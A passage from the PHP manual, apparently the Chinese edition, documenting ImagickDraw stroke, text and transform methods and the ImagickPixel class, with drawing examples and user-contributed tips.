Specifies the shape to be used at the end of open subpaths when they are stroked.

参数

linecap

One of the LINECAP constant (imagick::LINECAP_*).

返回值

没有返回值。

示例

Example #1 ImagickDraw::setStrokeLineCap() example

<?php
function setStrokeLineCap($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeWidth(25);

$lineTypes = [\Imagick::LINECAP_BUTT, \Imagick::LINECAP_ROUND, \Imagick::LINECAP_SQUARE,];

$offset = 0;

foreach ($lineTypes as $lineType) {
$draw->setStrokeLineCap($lineType);
$draw->line(50 + $offset, 50, 50 + $offset, 250);
$offset += 50;
}

$imagick = new \Imagick();
$imagick->newImage(300, 300, $backgroundColor);
$imagick->setImageFormat("png");
$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

sudopeople gmail 21-Oct-2009 03:35
Possible values are:

LINEJOIN_UNDEFINED
LINEJOIN_MITER
LINEJOIN_ROUND
LINEJOIN_BEVEL

...all prefixed with Imagick:: like:

Imagick::LINEJOIN_ROUND


Specifies the shape to be used at the corners of paths when they are stroked

  • ? ImagickDraw::setStrokeLineCap
  • ImagickDraw::setStrokeMiterLimit ?
  • PHP Manual
  • ImagickDraw
  • Specifies the shape to be used at the corners of paths when they are stroked

ImagickDraw::setStrokeLineJoin

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setStrokeLineJoin — Specifies the shape to be used at the corners of paths when they are stroked

说明

public ImagickDraw::setStrokeLineJoin(int $linejoin): bool
Warning

本函数还未编写文档，仅有参数列表。

Specifies the shape to be used at the corners of paths (or other vector shapes) when they are stroked.

参数

linejoin

One of the LINEJOIN constant (imagick::LINEJOIN_*).

返回值

没有返回值。

示例

Example #1 ImagickDraw::setStrokeLineJoin() example

<?php
function setStrokeLineJoin($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();
$draw->setStrokeWidth(1);
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);

$draw->setStrokeWidth(20);

$offset = 220;

$lineJoinStyle = [
\Imagick::LINEJOIN_MITER,
\Imagick::LINEJOIN_ROUND,
\Imagick::LINEJOIN_BEVEL,
];

for ($x = 0; $x < count($lineJoinStyle); $x++) {
$draw->setStrokeLineJoin($lineJoinStyle[$x]);
$points = [
['x' => 40 * 5, 'y' => 10 * 5 + $x * $offset],
['x' => 20 * 5, 'y' => 20 * 5 + $x * $offset],
['x' => 70 * 5, 'y' => 50 * 5 + $x * $offset],
['x' => 40 * 5, 'y' => 10 * 5 + $x * $offset],
];

$draw->polyline($points);
}

$image = new \Imagick();
$image->newImage(500, 700, $backgroundColor);
$image->setImageFormat("png");

$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

sudopeople gmail 21-Oct-2009 03:32
For many (myself included) Rex's note maybe not be blatant enough. The constants are declared for the Imagick class only, so using them requires this syntax: Imagick::LINEJOIN_ constant

Here's an example oh how you might use it:

<?php
$img = new Imagick();
$img->newImage($width, $height, new ImagickPixel('transparent'));
$draw = new ImagickDraw();
$draw->setStrokeLineJoin(Imagick::LINEJOIN_ROUND);
?>

If you're not drawing polylines and are drawing simple lines, also see setStrokeLineCap
Rex Schrader 17-May-2009 08:36
From imagick_helpers.c (pecl release), possible values are:
  LINEJOIN_UNDEFINED
  LINEJOIN_MITER
  LINEJOIN_ROUND
  LINEJOIN_BEVEL


Specifies the miter limit

  • ? ImagickDraw::setStrokeLineJoin
  • ImagickDraw::setStrokeOpacity ?
  • PHP Manual
  • ImagickDraw
  • Specifies the miter limit

ImagickDraw::setStrokeMiterLimit

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setStrokeMiterLimit — Specifies the miter limit

说明

public ImagickDraw::setStrokeMiterLimit(int $miterlimit): bool
Warning

本函数还未编写文档，仅有参数列表。

Specifies the miter limit. When two line segments meet at a sharp angle and miter joins have been specified for 'lineJoin', it is possible for the miter to extend far beyond the thickness of the line stroking the path. The miterLimit' imposes a limit on the ratio of the miter length to the 'lineWidth'.

参数

miterlimit

the miter limit

返回值

没有返回值。

示例

Example #1 ImagickDraw::setStrokeMiterLimit() example

<?php
function setStrokeMiterLimit($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setStrokeOpacity(0.6);
$draw->setFillColor($fillColor);
$draw->setStrokeWidth(10);

$yOffset = 100;

$draw->setStrokeLineJoin(\Imagick::LINEJOIN_MITER);

for ($y = 0; $y < 3; $y++) {

$draw->setStrokeMiterLimit(40 * $y);

$points = [
['x' => 22 * 3, 'y' => 15 * 4 + $y * $yOffset],
['x' => 20 * 3, 'y' => 20 * 4 + $y * $yOffset],
['x' => 70 * 5, 'y' => 45 * 4 + $y * $yOffset],
];

$draw->polygon($points);
}

$image = new \Imagick();
$image->newImage(500, 500, $backgroundColor);
$image->setImageFormat("png");
$image->drawImage($draw);

$image->setImageType(\Imagick::IMGTYPE_PALETTE);
$image->setImageCompressionQuality(100);
$image->stripImage();

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Specifies the opacity of stroked object outlines

  • ? ImagickDraw::setStrokeMiterLimit
  • ImagickDraw::setStrokePatternURL ?
  • PHP Manual
  • ImagickDraw
  • Specifies the opacity of stroked object outlines

ImagickDraw::setStrokeOpacity

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setStrokeOpacity — Specifies the opacity of stroked object outlines

说明

public ImagickDraw::setStrokeOpacity(float $stroke_opacity): bool
Warning

本函数还未编写文档，仅有参数列表。

Specifies the opacity of stroked object outlines.

参数

stroke_opacity

stroke opacity. 1.0 is fully opaque

返回值

没有返回值。

示例

Example #1 ImagickDraw::setStrokeOpacity() example

<?php
function setStrokeOpacity($strokeColor, $fillColor, $backgroundColor) {
$draw = new \ImagickDraw();

$draw->setStrokeWidth(1);
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeWidth(10);
$draw->setStrokeOpacity(1);
$draw->line(100, 80, 400, 125);
$draw->rectangle(25, 200, 150, 350);
$draw->setStrokeOpacity(0.5);
$draw->line(100, 100, 400, 145);
$draw->rectangle(200, 200, 325, 350);
$draw->setStrokeOpacity(0.2);
$draw->line(100, 120, 400, 165);
$draw->rectangle(375, 200, 500, 350);

$image = new \Imagick();
$image->newImage(550, 400, $backgroundColor);
$image->setImageFormat("png");
$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the pattern used for stroking object outlines

  • ? ImagickDraw::setStrokeOpacity
  • ImagickDraw::setStrokeWidth ?
  • PHP Manual
  • ImagickDraw
  • Sets the pattern used for stroking object outlines

ImagickDraw::setStrokePatternURL

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setStrokePatternURL — Sets the pattern used for stroking object outlines

说明

public ImagickDraw::setStrokePatternURL(string $stroke_url): bool
Warning

本函数还未编写文档，仅有参数列表。

Sets the pattern used for stroking object outlines.

参数

stroke_url

stroke URL

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Sets the width of the stroke used to draw object outlines

  • ? ImagickDraw::setStrokePatternURL
  • ImagickDraw::setTextAlignment ?
  • PHP Manual
  • ImagickDraw
  • Sets the width of the stroke used to draw object outlines

ImagickDraw::setStrokeWidth

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setStrokeWidth — Sets the width of the stroke used to draw object outlines

说明

public ImagickDraw::setStrokeWidth(float $stroke_width): bool
Warning

本函数还未编写文档，仅有参数列表。

Sets the width of the stroke used to draw object outlines.

参数

stroke_width

stroke width

返回值

没有返回值。

示例

Example #1 ImagickDraw::setStrokeWidth() example

<?php
function setStrokeWidth($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeWidth(1);
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->line(100, 100, 400, 145);
$draw->rectangle(100, 200, 225, 350);
$draw->setStrokeWidth(5);
$draw->line(100, 120, 400, 165);
$draw->rectangle(275, 200, 400, 350);

$image = new \Imagick();
$image->newImage(500, 400, $backgroundColor);
$image->setImageFormat("png");
$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

Peter - the Pete - de Pijd 09-Jul-2009 02:31
If you set the stroke width to 0, there will often still be a hairline. To remove this hairline, use transparency, f.e. using:
setStrokeColor("#00000000")
hex 0-6 = color -> black
hex 6-8 = opacity -> full transparency
r dot vinke at gmail dot com 03-Nov-2008 06:27
Please note that this function only works (as in: the stroke width changes) when setStrokeColor() is called before.


Specifies a text alignment

  • ? ImagickDraw::setStrokeWidth
  • ImagickDraw::setTextAntialias ?
  • PHP Manual
  • ImagickDraw
  • Specifies a text alignment

ImagickDraw::setTextAlignment

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setTextAlignment — Specifies a text alignment

说明

public ImagickDraw::setTextAlignment(int $alignment): bool
Warning

本函数还未编写文档，仅有参数列表。

Specifies a text alignment to be applied when annotating with text.

参数

alignment

One of the ALIGN constant (imagick::ALIGN_*).

返回值

没有返回值。

示例

Example #1 ImagickDraw::setTextAlignment() example

<?php
function setTextAlignment($strokeColor, $fillColor, $backgroundColor) {
$draw = new \ImagickDraw();
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeWidth(1);
$draw->setFontSize(36);

$draw->setTextAlignment(\Imagick::ALIGN_LEFT);
$draw->annotation(250, 75, "Lorem Ipsum!");
$draw->setTextAlignment(\Imagick::ALIGN_CENTER);
$draw->annotation(250, 150, "Lorem Ipsum!");
$draw->setTextAlignment(\Imagick::ALIGN_RIGHT);
$draw->annotation(250, 225, "Lorem Ipsum!");
$draw->line(250, 0, 250, 500);

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");
$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

sebastian dot mayer at maysoft dot de 26-Feb-2009 08:33
<?php

   define("LEFT", 1);
   define("CENTER", 2);
   define("RIGHT", 3);

   $w = 400;
   $h = 200;
   $gradient = new Imagick();
   $gradient->newPseudoImage($w, $h, "gradient:red-black");

   $draw = new ImagickDraw();
   $draw->setFontSize(12);
   $draw->setFillColor(new ImagickPixel("#ffffff"));

   $draw->setTextAlignment(LEFT);
   $draw->annotation(150, 30, "Hello World1!");
   $draw->setTextAlignment(CENTER);
   $draw->annotation(150, 50, "Hello World2!");
   $draw->setTextAlignment(RIGHT);
   $draw->annotation(150, 70, "Hello World3!");

   $draw->setFillColor(new ImagickPixel("#0000aa"));
   $x1 = 150;
   $x2 = 150;
   $y1 = 0;
   $y2 = 200;
   $draw->rectangle($x1, $y1, $x2, $y2);

   $gradient->drawImage($draw);

   $gradient->setImageFormat("png");
   header("Content-Type: image/png");
   echo $gradient;
?>


Controls whether text is antialiased

  • ? ImagickDraw::setTextAlignment
  • ImagickDraw::setTextDecoration ?
  • PHP Manual
  • ImagickDraw
  • Controls whether text is antialiased

ImagickDraw::setTextAntialias

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setTextAntialias — Controls whether text is antialiased

说明

public ImagickDraw::setTextAntialias(bool $antiAlias): bool
Warning

本函数还未编写文档，仅有参数列表。

Controls whether text is antialiased. Text is antialiased by default.

参数

antiAlias

返回值

没有返回值。

示例

Example #1 ImagickDraw::setTextAntialias() example

<?php
function setTextAntialias($fillColor, $backgroundColor) {

$draw = new \ImagickDraw();
$draw->setStrokeColor('none');
$draw->setFillColor($fillColor);
$draw->setStrokeWidth(1);
$draw->setFontSize(32);
$draw->setTextAntialias(false);
$draw->annotation(5, 30, "Lorem Ipsum!");
$draw->setTextAntialias(true);
$draw->annotation(5, 65, "Lorem Ipsum!");

$imagick = new \Imagick();
$imagick->newImage(220, 80, $backgroundColor);
$imagick->setImageFormat("png");
$imagick->drawImage($draw);

//Scale the image so that people can see the aliasing.
$imagick->scaleImage(220 * 6, 80 * 6);
$imagick->cropImage(640, 480, 0, 0);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Specifies a decoration

  • ? ImagickDraw::setTextAntialias
  • ImagickDraw::setTextEncoding ?
  • PHP Manual
  • ImagickDraw
  • Specifies a decoration

ImagickDraw::setTextDecoration

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setTextDecoration — Specifies a decoration

说明

public ImagickDraw::setTextDecoration(int $decoration): bool
Warning

本函数还未编写文档，仅有参数列表。

Specifies a decoration to be applied when annotating with text.

参数

decoration

One of the DECORATION constant (imagick::DECORATION_*).

返回值

没有返回值。

示例

Example #1 ImagickDraw::setTextDecoration() example

<?php
function setTextDecoration($strokeColor, $fillColor, $backgroundColor, $textDecoration) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeWidth(2);
$draw->setFontSize(72);
$draw->setTextDecoration($textDecoration);
$draw->annotation(50, 75, "Lorem Ipsum!");

$imagick = new \Imagick();
$imagick->newImage(500, 200, $backgroundColor);
$imagick->setImageFormat("png");
$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

mark-paspirgilis at web dot de 12-Jan-2011 09:41
Hi, guys.
I was looking half the day for a documentation about how to set the damn underline...
I found it out myself now.. happy to be able to share my new knowledge with you out there.
$decoration can be those:

1  -  Text will be normal
2  -  Underline
3  -  Upperline
4  -  Stroke-through

regards,
Mark Paspirgilis


Specifies the text code set

  • ? ImagickDraw::setTextDecoration
  • ImagickDraw::setTextInterlineSpacing ?
  • PHP Manual
  • ImagickDraw
  • Specifies the text code set

ImagickDraw::setTextEncoding

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setTextEncoding — Specifies the text code set

说明

public ImagickDraw::setTextEncoding(string $encoding): bool
Warning

本函数还未编写文档，仅有参数列表。

Specifies the code set to use for text annotations. The only character encoding which may be specified at this time is "UTF-8" for representing Unicode as a sequence of bytes. Specify an empty string to set text encoding to the system's default. Successful text annotation using Unicode may require fonts designed to support Unicode.

参数

encoding

the encoding name

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Sets the text interline spacing

  • ? ImagickDraw::setTextEncoding
  • ImagickDraw::setTextInterwordSpacing ?
  • PHP Manual
  • ImagickDraw
  • Sets the text interline spacing

ImagickDraw::setTextInterlineSpacing

(PECL imagick 3 >= 3.1.0)

ImagickDraw::setTextInterlineSpacing — Sets the text interline spacing

说明

public ImagickDraw::setTextInterlineSpacing(float $spacing): bool

Sets the text interline spacing.

Warning

本函数还未编写文档，仅有参数列表。

参数

spacing

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Sets the text interword spacing

  • ? ImagickDraw::setTextInterlineSpacing
  • ImagickDraw::setTextKerning ?
  • PHP Manual
  • ImagickDraw
  • Sets the text interword spacing

ImagickDraw::setTextInterwordSpacing

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

ImagickDraw::setTextInterwordSpacing — Sets the text interword spacing

说明

public ImagickDraw::setTextInterwordSpacing(float $spacing): bool

Sets the text interword spacing.

参数

spacing

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Sets the text kerning

  • ? ImagickDraw::setTextInterwordSpacing
  • ImagickDraw::setTextUnderColor ?
  • PHP Manual
  • ImagickDraw
  • Sets the text kerning

ImagickDraw::setTextKerning

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

ImagickDraw::setTextKerning — Sets the text kerning

说明

public ImagickDraw::setTextKerning(float $kerning): bool

Sets the text kerning

Warning

本函数还未编写文档，仅有参数列表。

参数

kerning

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Specifies the color of a background rectangle

  • ? ImagickDraw::setTextKerning
  • ImagickDraw::setVectorGraphics ?
  • PHP Manual
  • ImagickDraw
  • Specifies the color of a background rectangle

ImagickDraw::setTextUnderColor

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setTextUnderColor — Specifies the color of a background rectangle

说明

public ImagickDraw::setTextUnderColor(ImagickPixel $under_color): bool
Warning

本函数还未编写文档，仅有参数列表。

Specifies the color of a background rectangle to place under text annotations.

参数

under_color

the under color

返回值

没有返回值。

示例

Example #1 ImagickDraw::setTextUnderColor() example

<?php
function setTextUnderColor($strokeColor, $fillColor, $backgroundColor, $textUnderColor) {
$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeWidth(2);
$draw->setFontSize(72);
$draw->annotation(50, 75, "Lorem Ipsum!");
$draw->setTextUnderColor($textUnderColor);
$draw->annotation(50, 175, "Lorem Ipsum!");

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");

$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

www dot query at gmail dot com 08-Sep-2011 09:01
When wishing to print some text on a photograph and make that text sufficiently contrasting to the background image, use a 4 byte code for colour and transparency.

It is the same 4 byte code using by the parameter '-undercolor' in ImageMagick's command lime instruction 'convert'.

The first 3 bytes are the RGB colour code and the fourth byte is the transparency byte.

<?php

    $draw = new ImagickDraw();
    $draw->setFillColor('#ffff00');
    $draw->setFont('Eurostile');
    $draw->setFontSize(21);
    $draw->setTextUnderColor('#ff000088');
    $picin->annotateImage($draw,40,$height-10,0,"Hallo");

?>

The example code produces yellow text on a semi-transparent red background.


Sets the vector graphics

  • ? ImagickDraw::setTextUnderColor
  • ImagickDraw::setViewbox ?
  • PHP Manual
  • ImagickDraw
  • Sets the vector graphics

ImagickDraw::setVectorGraphics

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setVectorGraphics — Sets the vector graphics

说明

public ImagickDraw::setVectorGraphics(string $xml): bool
Warning

本函数还未编写文档，仅有参数列表。

Sets the vector graphics associated with the specified ImagickDraw object. Use this method with ImagickDraw::getVectorGraphics() as a method to persist the vector graphics state.

参数

xml

xml containing the vector graphics

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 ImagickDraw::setVectorGraphics() example

<?php
function setVectorGraphics() {
//Setup a draw object with some drawing in it.
$draw = new \ImagickDraw();
$draw->setFillColor("red");
$draw->circle(20, 20, 50, 50);
$draw->setFillColor("blue");
$draw->circle(50, 70, 50, 50);
$draw->rectangle(50, 120, 80, 150);

//Get the drawing as a string
$SVG = $draw->getVectorGraphics();

//$svg is a string, and could be saved anywhere a string can be saved

//Use the saved drawing to generate a new draw object
$draw2 = new \ImagickDraw();
//Apparently the SVG text is missing the root element.
$draw2->setVectorGraphics("<root>".$SVG."</root>");

$imagick = new \Imagick();
$imagick->newImage(200, 200, 'white');
$imagick->setImageFormat("png");

$imagick->drawImage($draw2);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the overall canvas size

  • ? ImagickDraw::setVectorGraphics
  • ImagickDraw::skewX ?
  • PHP Manual
  • ImagickDraw
  • Sets the overall canvas size

ImagickDraw::setViewbox

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setViewbox — Sets the overall canvas size

说明

public ImagickDraw::setViewbox(
int $x1,
int $y1,
int $x2,
int $y2
): bool
Warning

本函数还未编写文档，仅有参数列表。

Sets the overall canvas size to be recorded with the drawing vector data. Usually this will be specified using the same size as the canvas image. When the vector data is saved to SVG or MVG formats, the viewbox is use to specify the size of the canvas image that a viewer will render the vector data on.

参数

x1

left x coordinate

y1

left y coordinate

x2

right x coordinate

y2

right y coordinate

返回值

没有返回值。

示例

Example #1 ImagickDraw::setViewBox() example

<?php
function setViewBox($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeWidth(2);
$draw->setFontSize(72);

/*

Sets the overall canvas size to be recorded with the drawing vector data. Usually this will be specified using the same size as the canvas image. When the vector data is saved to SVG or MVG formats, the viewbox is use to specify the size of the canvas image that a viewer will render the vector data on.

*/

$draw->circle(250, 250, 250, 0);
$draw->setviewbox(0, 0, 200, 200);
$draw->circle(125, 250, 250, 250);
$draw->translate(250, 125);
$draw->circle(0, 0, 125, 0);

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");

$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Skews the current coordinate system in the horizontal direction

  • ? ImagickDraw::setViewbox
  • ImagickDraw::skewY ?
  • PHP Manual
  • ImagickDraw
  • Skews the current coordinate system in the horizontal direction

ImagickDraw::skewX

(PECL imagick 2, PECL imagick 3)

ImagickDraw::skewX — Skews the current coordinate system in the horizontal direction

说明

public ImagickDraw::skewX(float $degrees): bool
Warning

本函数还未编写文档，仅有参数列表。

Skews the current coordinate system in the horizontal direction.

参数

degrees

degrees to skew

返回值

没有返回值。

示例

Example #1 ImagickDraw::skewX() example

<?php
function skewX($strokeColor, $fillColor, $backgroundColor, $fillModifiedColor,
$startX, $startY, $endX, $endY, $skew) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setStrokeWidth(2);
$draw->setFillColor($fillColor);
$draw->rectangle($startX, $startY, $endX, $endY);
$draw->setFillColor($fillModifiedColor);
$draw->skewX($skew);
$draw->rectangle($startX, $startY, $endX, $endY);

$image = new \Imagick();
$image->newImage(500, 500, $backgroundColor);
$image->setImageFormat("png");

$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Skews the current coordinate system in the vertical direction

  • ? ImagickDraw::skewX
  • ImagickDraw::translate ?
  • PHP Manual
  • ImagickDraw
  • Skews the current coordinate system in the vertical direction

ImagickDraw::skewY

(PECL imagick 2, PECL imagick 3)

ImagickDraw::skewY — Skews the current coordinate system in the vertical direction

说明

public ImagickDraw::skewY(float $degrees): bool
Warning

本函数还未编写文档，仅有参数列表。

Skews the current coordinate system in the vertical direction.

参数

degrees

degrees to skew

返回值

没有返回值。

示例

Example #1 ImagickDraw::skewY() example

<?php
function skewY($strokeColor, $fillColor, $backgroundColor, $fillModifiedColor,
$startX, $startY, $endX, $endY, $skew) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setStrokeWidth(2);
$draw->setFillColor($fillColor);
$draw->rectangle($startX, $startY, $endX, $endY);
$draw->setFillColor($fillModifiedColor);
$draw->skewY($skew);
$draw->rectangle($startX, $startY, $endX, $endY);

$image = new \Imagick();
$image->newImage(500, 500, $backgroundColor);
$image->setImageFormat("png");
$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Applies a translation to the current coordinate system

  • ? ImagickDraw::skewY
  • ImagickPixel ?
  • PHP Manual
  • ImagickDraw
  • Applies a translation to the current coordinate system

ImagickDraw::translate

(PECL imagick 2, PECL imagick 3)

ImagickDraw::translate — Applies a translation to the current coordinate system

说明

public ImagickDraw::translate(float $x, float $y): bool
Warning

本函数还未编写文档，仅有参数列表。

Applies a translation to the current coordinate system which moves the coordinate system origin to the specified coordinate.

参数

x

horizontal translation

y

vertical translation

返回值

没有返回值。

示例

Example #1 ImagickDraw::translate() example

<?php
function translate($strokeColor, $fillColor, $backgroundColor, $fillModifiedColor,
$startX, $startY, $endX, $endY, $translateX, $translateY) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->rectangle($startX, $startY, $endX, $endY);

$draw->setFillColor($fillModifiedColor);
$draw->translate($translateX, $translateY);
$draw->rectangle($startX, $startY, $endX, $endY);

$image = new \Imagick();
$image->newImage(500, 500, $backgroundColor);
$image->setImageFormat("png");

$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


The ImagickPixel class

(PECL imagick 2, PECL imagick 3)

类摘要

class ImagickPixel {
public clear(): bool
public __construct(string $color = ?)
public destroy(): bool
public getColor(int $normalized = 0): array
public getColorAsString(): string
public getColorCount(): int
public getColorQuantum(): array
public getColorValue(int $color): float
public getColorValueQuantum(int $color): int|float
public getHSL(): array
public getIndex(): int
public isPixelSimilar(ImagickPixel $color, float $fuzz): bool
public isPixelSimilarQuantum(string $color, string $fuzz = ?): bool
public isSimilar(ImagickPixel $color, float $fuzz): bool
public setColor(string $color): bool
public setcolorcount(int $colorCount): bool
public setColorValue(int $color, float $value): bool
public setColorValueQuantum(int $color, int|float $value): bool
public setHSL(float $hue, float $saturation, float $luminosity): bool
public setIndex(int $index): bool
}

Table of Contents

  • ImagickPixel::clear — Clears resources associated with this object
  • ImagickPixel::__construct — The ImagickPixel constructor
  • ImagickPixel::destroy — Deallocates resources associated with this object
  • ImagickPixel::getColor — Returns the color
  • ImagickPixel::getColorAsString — Returns the color as a string
  • ImagickPixel::getColorCount — Returns the color count associated with this color
  • ImagickPixel::getColorQuantum — Returns the color of the pixel in an array as Quantum values
  • ImagickPixel::getColorValue — Gets the normalized value of the provided color channel
  • ImagickPixel::getColorValueQuantum — Gets the quantum value of a color in the ImagickPixel
  • ImagickPixel::getHSL — Returns the normalized HSL color of the ImagickPixel object
  • ImagickPixel::getIndex — Gets the colormap index of the pixel wand
  • ImagickPixel::isPixelSimilar — Check the distance between this color and another
  • ImagickPixel::isPixelSimilarQuantum — Returns whether two colors differ by less than the specified distance
  • ImagickPixel::isSimilar — Check the distance between this color and another
  • ImagickPixel::setColor — Sets the color
  • ImagickPixel::setColorCount — Sets the color count associated with this color
  • ImagickPixel::setColorValue — Sets the normalized value of one of the channels
  • ImagickPixel::setColorValueQuantum — Sets the quantum value of a color element of the ImagickPixel
  • ImagickPixel::setHSL — Sets the normalized HSL color
  • ImagickPixel::setIndex — Sets the colormap index of the pixel wand

User Contributed Notes

There are no user contributed notes for this page.


Clears resources associated with this object

  • ? ImagickPixel
  • ImagickPixel::__construct ?
  • PHP Manual
  • ImagickPixel
  • Clears resources associated with this object

ImagickPixel::clear

(PECL imagick 2, PECL imagick 3)

ImagickPixel::clear — Clears resources associated with this object

说明

public ImagickPixel::clear(): bool
Warning

本函数还未编写文档，仅有参数列表。

Clears the ImagickPixel object, leaving it in a fresh state. This also unsets any color associated with the object.

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


The ImagickPixel constructor

  • ? ImagickPixel::clear
  • ImagickPixel::destroy ?
  • PHP Manual
  • ImagickPixel
  • The ImagickPixel constructor

ImagickPixel::__construct

(PECL imagick 2, PECL imagick 3)

ImagickPixel::__construct — The ImagickPixel constructor

说明

public ImagickPixel::__construct(string $color = ?)
Warning

本函数还未编写文档，仅有参数列表。

Constructs an ImagickPixel object. If a color is specified, the object is constructed and then initialised with that color before being returned.

参数

color

The optional color string to use as the initial value of this object.

返回值

Returns an ImagickPixel object on success, throwing ImagickPixelException on failure.

示例

Example #1 ImagickPixel::construct()

<?php
function construct() {

$columns = 4;

$exampleColors = array(
"rgba(100%, 0%, 0%, 0.5)",
"hsb(33.3333%, 100%, 75%)", // medium green
"hsl(120, 255, 191.25)", //medium green
"graya(50%, 0.5)", // semi-transparent mid gray
"LightCoral", "none", //"cmyk(0.9, 0.48, 0.83, 0.50)",
"#f00", // #rgb
"#ff0000", // #rrggbb
"#ff0000ff", // #rrggbbaa
"#ffff00000000", // #rrrrggggbbbb
"#ffff00000000ffff", // #rrrrggggbbbbaaaa
"rgb(255, 0, 0)", // an integer in the range 0—255 for each component
"rgb(100.0%, 0.0%, 0.0%)", // a float in the range 0—100% for each component
"rgb(255, 0, 0)", // range 0 - 255
"rgba(255, 0, 0, 1.0)", // the same, with an explicit alpha value
"rgb(100%, 0%, 0%)", // range 0.0% - 100.0%
"rgba(100%, 0%, 0%, 1.0)", // the same, with an explicit alpha value
);

$draw = new \ImagickDraw();
$count = 0;
$black = new \ImagickPixel('rgb(0, 0, 0)');

foreach ($exampleColors as $exampleColor) {
$color = new \ImagickPixel($exampleColor);

$draw->setstrokewidth(1.0);
$draw->setStrokeColor($black);
$draw->setFillColor($color);
$offsetX = ($count % $columns) * 50 + 5;
$offsetY = intval($count / $columns) * 50 + 5;
$draw->rectangle(0 + $offsetX, 0 + $offsetY, 40 + $offsetX, 40 + $offsetY);
$count++;
}

$image = new \Imagick();
$image->newImage(350, 350, "blue");
$image->setImageFormat("png");
$image->drawImage($draw);
header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Deallocates resources associated with this object

  • ? ImagickPixel::__construct
  • ImagickPixel::getColor ?
  • PHP Manual
  • ImagickPixel
  • Deallocates resources associated with this object

ImagickPixel::destroy

(PECL imagick 2, PECL imagick 3)

ImagickPixel::destroy — Deallocates resources associated with this object

说明

public ImagickPixel::destroy(): bool
Warning

本函数还未编写文档，仅有参数列表。

Deallocates any resources used by the ImagickPixel object, and unsets any associated color. The object should not be used after the destroy function has been called.

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Returns the color

  • ? ImagickPixel::destroy
  • ImagickPixel::getColorAsString ?
  • PHP Manual
  • ImagickPixel
  • Returns the color

ImagickPixel::getColor

(PECL imagick 2, PECL imagick 3)

ImagickPixel::getColor — Returns the color

说明

public ImagickPixel::getColor(int $normalized = 0): array

